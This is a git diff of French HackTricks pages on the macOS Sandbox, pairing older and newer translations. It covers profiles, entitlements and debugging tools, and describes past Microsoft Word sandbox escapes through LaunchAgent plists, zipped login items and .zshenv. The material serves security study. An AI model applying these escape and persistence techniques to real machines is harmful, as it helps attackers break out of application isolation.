- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Informations de base
|
||||
## Basic Information
|
||||
|
||||
Le bac à sable macOS (initialement appelé Seatbelt) **limite les applications** s'exécutant à l'intérieur du bac à sable aux **actions autorisées spécifiées dans le profil du bac à sable** avec lequel l'application s'exécute. Cela aide à garantir que **l'application n'accédera qu'aux ressources attendues**.
|
||||
Le Sandbox macOS (appelé initialement Seatbelt) **limite les applications** s'exécutant à l'intérieur du sandbox aux **actions autorisées spécifiées dans le profil Sandbox** avec lequel l'application s'exécute. Cela aide à garantir que **l'application n'accédera qu'aux ressources attendues**.
|
||||
|
||||
Toute application avec l'**autorisation** **`com.apple.security.app-sandbox`** sera exécutée à l'intérieur du bac à sable. Les **binaires Apple** sont généralement exécutés à l'intérieur d'un bac à sable et pour être publiés dans l'**App Store**, **cette autorisation est obligatoire**. Ainsi, la plupart des applications seront exécutées à l'intérieur du bac à sable.
|
||||
Toute application avec l'**entitlement** **`com.apple.security.app-sandbox`** sera exécutée à l'intérieur du sandbox. Les **binaires Apple** sont généralement exécutés à l'intérieur d'un Sandbox et pour être publiés dans l'**App Store**, **cet entitlement est obligatoire**. Ainsi, la plupart des applications seront exécutées à l'intérieur du sandbox.
|
||||
|
||||
Pour contrôler ce qu'un processus peut ou ne peut pas faire, le **bac à sable a des crochets** dans tous les **appels système** à travers le noyau. **En fonction** des **autorisations** de l'application, le bac à sable **autorise** certaines actions.
|
||||
Pour contrôler ce qu'un processus peut ou ne peut pas faire, le **Sandbox a des hooks** dans tous les **syscalls** à travers le noyau. **Selon** les **entitlements** de l'application, le Sandbox **permettra** certaines actions.
|
||||
|
||||
Certains composants importants du bac à sable sont :
|
||||
Certains composants importants du Sandbox sont :
|
||||
|
||||
- L'**extension de noyau** `/System/Library/Extensions/Sandbox.kext`
|
||||
- Le **framework privé** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
- Un **démon** s'exécutant dans l'espace utilisateur `/usr/libexec/sandboxd`
|
||||
- Les **conteneurs** `~/Library/Containers`
|
||||
* L'**extension du noyau** `/System/Library/Extensions/Sandbox.kext`
|
||||
* Le **framework privé** `/System/Library/PrivateFrameworks/AppSandbox.framework`
|
||||
* Un **daemon** s'exécutant en userland `/usr/libexec/sandboxd`
|
||||
* Les **conteneurs** `~/Library/Containers`
|
||||
|
||||
À l'intérieur du dossier des conteneurs, vous pouvez trouver **un dossier pour chaque application exécutée dans un bac à sable** avec le nom de l'identifiant de bundle :
|
||||
Dans le dossier des conteneurs, vous pouvez trouver **un dossier pour chaque application exécutée en sandbox** avec le nom de l'identifiant de bundle :
|
||||
```bash
|
||||
ls -l ~/Library/Containers
|
||||
total 0
|
||||
|
@ -40,7 +41,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
|
|||
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
|
||||
[...]
|
||||
```
|
||||
À l'intérieur de chaque dossier d'identifiant de bundle, vous pouvez trouver le **plist** et le **répertoire Data** de l'application :
|
||||
À l'intérieur de chaque dossier d'identifiant de bundle, vous pouvez trouver le **plist** et le **répertoire de données** de l'application :
|
||||
```bash
|
||||
cd /Users/username/Library/Containers/com.apple.Safari
|
||||
ls -la
|
||||
|
@ -64,7 +65,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
|
|||
drwx------ 2 username staff 64 Mar 24 18:02 tmp
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Notez que même si les liens symboliques sont là pour "échapper" au Bac à sable et accéder à d'autres dossiers, l'application doit toujours **avoir les autorisations** pour y accéder. Ces autorisations se trouvent dans le fichier **`.plist`**.
|
||||
Notez que même si les symlinks sont là pour "s'échapper" du Sandbox et accéder à d'autres dossiers, l'App doit toujours **avoir des permissions** pour y accéder. Ces permissions se trouvent dans le **`.plist`**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Get permissions
|
||||
|
@ -114,12 +115,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
|
|||
[...]
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Tout ce qui est créé/modifié par une application Sandbox aura l'**attribut de quarantaine**. Cela empêchera un espace de sandbox en déclenchant Gatekeeper si l'application sandbox tente d'exécuter quelque chose avec **`open`**.
|
||||
Tout ce qui est créé/modifié par une application sandboxée obtiendra l'**attribut de quarantaine**. Cela empêchera un espace sandbox en déclenchant Gatekeeper si l'application sandbox essaie d'exécuter quelque chose avec **`open`**.
|
||||
{% endhint %}
|
||||
|
||||
### Profils de Sandbox
|
||||
|
||||
Les profils de Sandbox sont des fichiers de configuration qui indiquent ce qui va être **autorisé/interdit** dans cette **sandbox**. Il utilise le **Langage de Profil de Sandbox (SBPL)**, qui utilise le langage de programmation [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
|
||||
Les profils de Sandbox sont des fichiers de configuration qui indiquent ce qui sera **autorisé/interdit** dans ce **Sandbox**. Il utilise le **Sandbox Profile Language (SBPL)**, qui utilise le langage de programmation [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
|
||||
|
||||
Voici un exemple :
|
||||
```scheme
|
||||
|
@ -140,16 +141,16 @@ Voici un exemple :
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Consultez cette [**recherche**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **pour vérifier plus d'actions qui pourraient être autorisées ou refusées.**
|
||||
Vérifiez cette [**recherche**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **pour voir plus d'actions qui pourraient être autorisées ou refusées.**
|
||||
{% endhint %}
|
||||
|
||||
Les **services système** importants s'exécutent également à l'intérieur de leur propre **sandbox personnalisée** telle que le service `mdnsresponder`. Vous pouvez consulter ces **profils de sandbox personnalisés** à l'intérieur de :
|
||||
Des **services système** importants s'exécutent également dans leur propre **sandbox** personnalisée, comme le service `mdnsresponder`. Vous pouvez consulter ces **profils de sandbox** personnalisés dans :
|
||||
|
||||
* **`/usr/share/sandbox`**
|
||||
* **`/System/Library/Sandbox/Profiles`**
|
||||
* **`/System/Library/Sandbox/Profiles`** 
|
||||
* D'autres profils de sandbox peuvent être consultés sur [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
||||
|
||||
Les applications **App Store** utilisent le **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Vous pouvez vérifier dans ce profil comment les autorisations telles que **`com.apple.security.network.server`** permettent à un processus d'utiliser le réseau.
|
||||
Les applications de l'**App Store** utilisent le **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Vous pouvez vérifier dans ce profil comment des droits tels que **`com.apple.security.network.server`** permettent à un processus d'utiliser le réseau.
|
||||
|
||||
SIP est un profil de sandbox appelé platform\_profile dans /System/Library/Sandbox/rootless.conf
|
||||
|
||||
|
@ -210,50 +211,50 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
{% endtabs %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Notez que les **logiciels** **développés par Apple** qui s'exécutent sur **Windows** **ne bénéficient pas de précautions de sécurité supplémentaires**, telles que l'isolation des applications.
|
||||
Notez que le **logiciel** **écrit par Apple** qui fonctionne sur **Windows** **n'a pas de précautions de sécurité supplémentaires**, telles que le sandboxing des applications.
|
||||
{% endhint %}
|
||||
|
||||
Exemples de contournements :
|
||||
Exemples de contournement :
|
||||
|
||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (ils peuvent écrire des fichiers en dehors du bac à sable dont le nom commence par `~$`).
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (ils peuvent écrire des fichiers en dehors du sandbox dont le nom commence par `~$`).
|
||||
|
||||
### Profils de bac à sable de MacOS
|
||||
### Profils de Sandbox MacOS
|
||||
|
||||
macOS stocke les profils de bac à sable système dans deux emplacements : **/usr/share/sandbox/** et **/System/Library/Sandbox/Profiles**.
|
||||
macOS stocke les profils de sandbox système à deux emplacements : **/usr/share/sandbox/** et **/System/Library/Sandbox/Profiles**.
|
||||
|
||||
Et si une application tierce possède l'attribution _**com.apple.security.app-sandbox**_, le système applique le profil **/System/Library/Sandbox/Profiles/application.sb** à ce processus.
|
||||
Et si une application tierce possède le droit _**com.apple.security.app-sandbox**_, le système applique le profil **/System/Library/Sandbox/Profiles/application.sb** à ce processus.
|
||||
|
||||
### **Profil de bac à sable iOS**
|
||||
### **Profil de Sandbox iOS**
|
||||
|
||||
Le profil par défaut s'appelle **container** et nous n'avons pas la représentation textuelle SBPL. En mémoire, ce bac à sable est représenté comme un arbre binaire Autoriser/Refuser pour chaque autorisation du bac à sable.
|
||||
Le profil par défaut s'appelle **container** et nous n'avons pas la représentation textuelle SBPL. En mémoire, ce sandbox est représenté comme un arbre binaire Allow/Deny pour chaque permission du sandbox.
|
||||
|
||||
### Débogage & Contournement du Bac à Sable
|
||||
### Déboguer & Contourner le Sandbox
|
||||
|
||||
Sur macOS, contrairement à iOS où les processus sont isolés dès le départ par le noyau, **les processus doivent choisir de rejoindre le bac à sable eux-mêmes**. Cela signifie que sur macOS, un processus n'est pas restreint par le bac à sable tant qu'il ne décide pas activement d'y entrer.
|
||||
Sur macOS, contrairement à iOS où les processus sont sandboxés dès le départ par le noyau, **les processus doivent s'inscrire eux-mêmes dans le sandbox**. Cela signifie que sur macOS, un processus n'est pas restreint par le sandbox tant qu'il ne décide pas activement d'y entrer.
|
||||
|
||||
Les processus sont automatiquement mis en bac à sable depuis l'espace utilisateur lorsqu'ils démarrent s'ils possèdent l'attribution : `com.apple.security.app-sandbox`. Pour une explication détaillée de ce processus, consultez :
|
||||
Les processus sont automatiquement sandboxés depuis l'espace utilisateur lorsqu'ils démarrent s'ils ont le droit : `com.apple.security.app-sandbox`. Pour une explication détaillée de ce processus, consultez :
|
||||
|
||||
{% content-ref url="macos-sandbox-debug-and-bypass/" %}
|
||||
[macos-sandbox-debug-and-bypass](macos-sandbox-debug-and-bypass/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **Vérifier les Privilèges PID**
|
||||
### **Vérifier les privilèges PID**
|
||||
|
||||
[D'après ceci](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), le **`sandbox_check`** (c'est un `__mac_syscall`), peut vérifier **si une opération est autorisée ou non** par le bac à sable dans un PID spécifique.
|
||||
[**Selon ceci**](https://www.youtube.com/watch?v=mG715HcDgO8\&t=3011s), le **`sandbox_check`** (c'est un `__mac_syscall`), peut vérifier **si une opération est autorisée ou non** par le sandbox dans un certain PID.
|
||||
|
||||
L'outil [**sbtool**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) peut vérifier si un PID peut effectuer une certaine action :
|
||||
L'**outil sbtool** [**peut vérifier**](http://newosxbook.com/src.jl?tree=listings\&file=sbtool.c) si un PID peut effectuer une certaine action :
|
||||
```bash
|
||||
sbtool <pid> mach #Check mac-ports (got from launchd with an api)
|
||||
sbtool <pid> file /tmp #Check file access
|
||||
sbtool <pid> inspect #Gives you an explaination of the sandbox profile
|
||||
sbtool <pid> all
|
||||
```
|
||||
### Profils SBPL personnalisés dans les applications de l'App Store
|
||||
### Custom SBPL dans les applications de l'App Store
|
||||
|
||||
Il pourrait être possible pour les entreprises de faire fonctionner leurs applications avec des **profils Sandbox personnalisés** (au lieu de celui par défaut). Elles doivent utiliser l'attribution **`com.apple.security.temporary-exception.sbpl`** qui doit être autorisée par Apple.
|
||||
Il pourrait être possible pour les entreprises de faire fonctionner leurs applications **avec des profils de Sandbox personnalisés** (au lieu de celui par défaut). Elles doivent utiliser le droit **`com.apple.security.temporary-exception.sbpl`** qui doit être autorisé par Apple.
|
||||
|
||||
Il est possible de vérifier la définition de cette attribution dans **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
Il est possible de vérifier la définition de ce droit dans **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
```scheme
|
||||
(sandbox-array-entitlement
|
||||
"com.apple.security.temporary-exception.sbpl"
|
||||
|
@ -261,18 +262,19 @@ Il est possible de vérifier la définition de cette attribution dans **`/System
|
|||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||
(with-transparent-redirection (eval sbpl)))))
|
||||
```
|
||||
Cela **évaluera la chaîne après cette autorisation** en tant que profil Sandbox.
|
||||
Cela va **évaluer la chaîne après cette attribution** comme un profil Sandbox.
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# Débogage du bac à sable par défaut de macOS
|
||||
# macOS Default Sandbox Debug
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Sur cette page, vous pouvez trouver comment créer une application pour lancer des commandes arbitraires depuis l'intérieur du bac à sable par défaut de macOS :
|
||||
Dans cette page, vous pouvez trouver comment créer une application pour lancer des commandes arbitraires depuis l'intérieur du sandbox par défaut de macOS :
|
||||
|
||||
1. Compiler l'application :
|
||||
1. Compilez l'application :
|
||||
|
||||
{% code title="main.m" %}
|
||||
```objectivec
|
||||
|
@ -74,7 +75,7 @@ cat << EOF > SandboxedShellApp.app/Contents/Info.plist
|
|||
</plist>
|
||||
EOF
|
||||
```
|
||||
3. Définir les autorisations
|
||||
3. Définir les droits
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sandbox" %}
|
||||
|
@ -92,7 +93,7 @@ EOF
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="bac à sable + téléchargements" %}
|
||||
{% tab title="sandbox + téléchargements" %}
|
||||
```bash
|
||||
cat << EOF > entitlements.plist
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
@ -118,16 +119,17 @@ codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.a
|
|||
# An d in case you need this in the future
|
||||
codesign --remove-signature SandboxedShellApp.app
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,76 +1,78 @@
|
|||
# Contournement du bac à sable de Word sur macOS
|
||||
# Bypasses du Sandbox Office de macOS
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Contournement du bac à sable de Word via les Agents de lancement
|
||||
### Bypass du Sandbox Word via les Agents de Lancement
|
||||
|
||||
L'application utilise un **bac à sable personnalisé** en utilisant le privilège **`com.apple.security.temporary-exception.sbpl`** et ce bac à sable personnalisé permet d'écrire des fichiers n'importe où tant que le nom de fichier commence par `~$` : `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
L'application utilise un **Sandbox personnalisé** avec le droit **`com.apple.security.temporary-exception.sbpl`** et ce sandbox personnalisé permet d'écrire des fichiers n'importe où tant que le nom de fichier commence par `~$` : `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
|
||||
Par conséquent, l'évasion était aussi simple que **écrire un fichier `plist`** LaunchAgent dans `~/Library/LaunchAgents/~$escape.plist`.
|
||||
Par conséquent, l'évasion était aussi simple que **d'écrire un `plist`** LaunchAgent dans `~/Library/LaunchAgents/~$escape.plist`.
|
||||
|
||||
Consultez le [**rapport original ici**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
|
||||
|
||||
### Contournement du bac à sable de Word via les éléments de connexion et zip
|
||||
### Bypass du Sandbox Word via les Éléments de Connexion et zip
|
||||
|
||||
Rappelez-vous que suite à la première évasion, Word peut écrire des fichiers arbitraires dont le nom commence par `~$`, bien qu'après le correctif de la vulnérabilité précédente, il n'était plus possible d'écrire dans `/Library/Application Scripts` ou dans `/Library/LaunchAgents`.
|
||||
Rappelez-vous qu'à partir de la première évasion, Word peut écrire des fichiers arbitraires dont le nom commence par `~$`, bien qu'après le correctif de la vulnérabilité précédente, il n'était plus possible d'écrire dans `/Library/Application Scripts` ou dans `/Library/LaunchAgents`.
|
||||
|
||||
Il a été découvert qu'à partir du bac à sable, il est possible de créer un **élément de connexion** (applications qui seront exécutées lorsque l'utilisateur se connecte). Cependant, ces applications **ne s'exécuteront pas** à moins d'être **notariées** et il n'est **pas possible d'ajouter des arguments** (vous ne pouvez pas simplement exécuter un shell inversé en utilisant **`bash`**).
|
||||
Il a été découvert que depuis le sandbox, il est possible de créer un **Élément de Connexion** (applications qui seront exécutées lorsque l'utilisateur se connecte). Cependant, ces applications **ne s'exécuteront pas à moins** qu'elles ne soient **notariées** et il est **impossible d'ajouter des arguments** (vous ne pouvez donc pas simplement exécuter un shell inversé en utilisant **`bash`**).
|
||||
|
||||
Suite au contournement précédent du bac à sable, Microsoft a désactivé l'option d'écrire des fichiers dans `~/Library/LaunchAgents`. Cependant, il a été découvert que si vous placez un **fichier zip en tant qu'élément de connexion**, l'`Utilitaire d'archivage` le décompressera simplement à son emplacement actuel. Ainsi, comme par défaut le dossier `LaunchAgents` de `~/Library` n'est pas créé, il était possible de **mettre en zip un plist dans `LaunchAgents/~$escape.plist`** et **placer** le fichier zip dans **`~/Library`** pour qu'à la décompression, il atteigne la destination de persistance.
|
||||
À partir du précédent contournement du Sandbox, Microsoft a désactivé l'option d'écrire des fichiers dans `~/Library/LaunchAgents`. Cependant, il a été découvert que si vous mettez un **fichier zip comme Élément de Connexion**, l'`Archive Utility` va simplement **dézipper** à son emplacement actuel. Donc, parce que par défaut le dossier `LaunchAgents` de `~/Library` n'est pas créé, il était possible de **zipper un plist dans `LaunchAgents/~$escape.plist`** et **placer** le fichier zip dans **`~/Library`** afin que lors de la décompression, il atteigne la destination de persistance.
|
||||
|
||||
Consultez le [**rapport original ici**](https://objective-see.org/blog/blog\_0x4B.html).
|
||||
|
||||
### Contournement du bac à sable de Word via les éléments de connexion et .zshenv
|
||||
### Bypass du Sandbox Word via les Éléments de Connexion et .zshenv
|
||||
|
||||
(Rappelez-vous que suite à la première évasion, Word peut écrire des fichiers arbitraires dont le nom commence par `~$`).
|
||||
(Rappelez-vous qu'à partir de la première évasion, Word peut écrire des fichiers arbitraires dont le nom commence par `~$`).
|
||||
|
||||
Cependant, la technique précédente avait une limitation : si le dossier **`~/Library/LaunchAgents`** existe car un autre logiciel l'a créé, cela échouerait. Une autre chaîne d'éléments de connexion a été découverte pour cela.
|
||||
Cependant, la technique précédente avait une limitation, si le dossier **`~/Library/LaunchAgents`** existe parce qu'un autre logiciel l'a créé, cela échouerait. Donc, une chaîne d'Éléments de Connexion différente a été découverte pour cela.
|
||||
|
||||
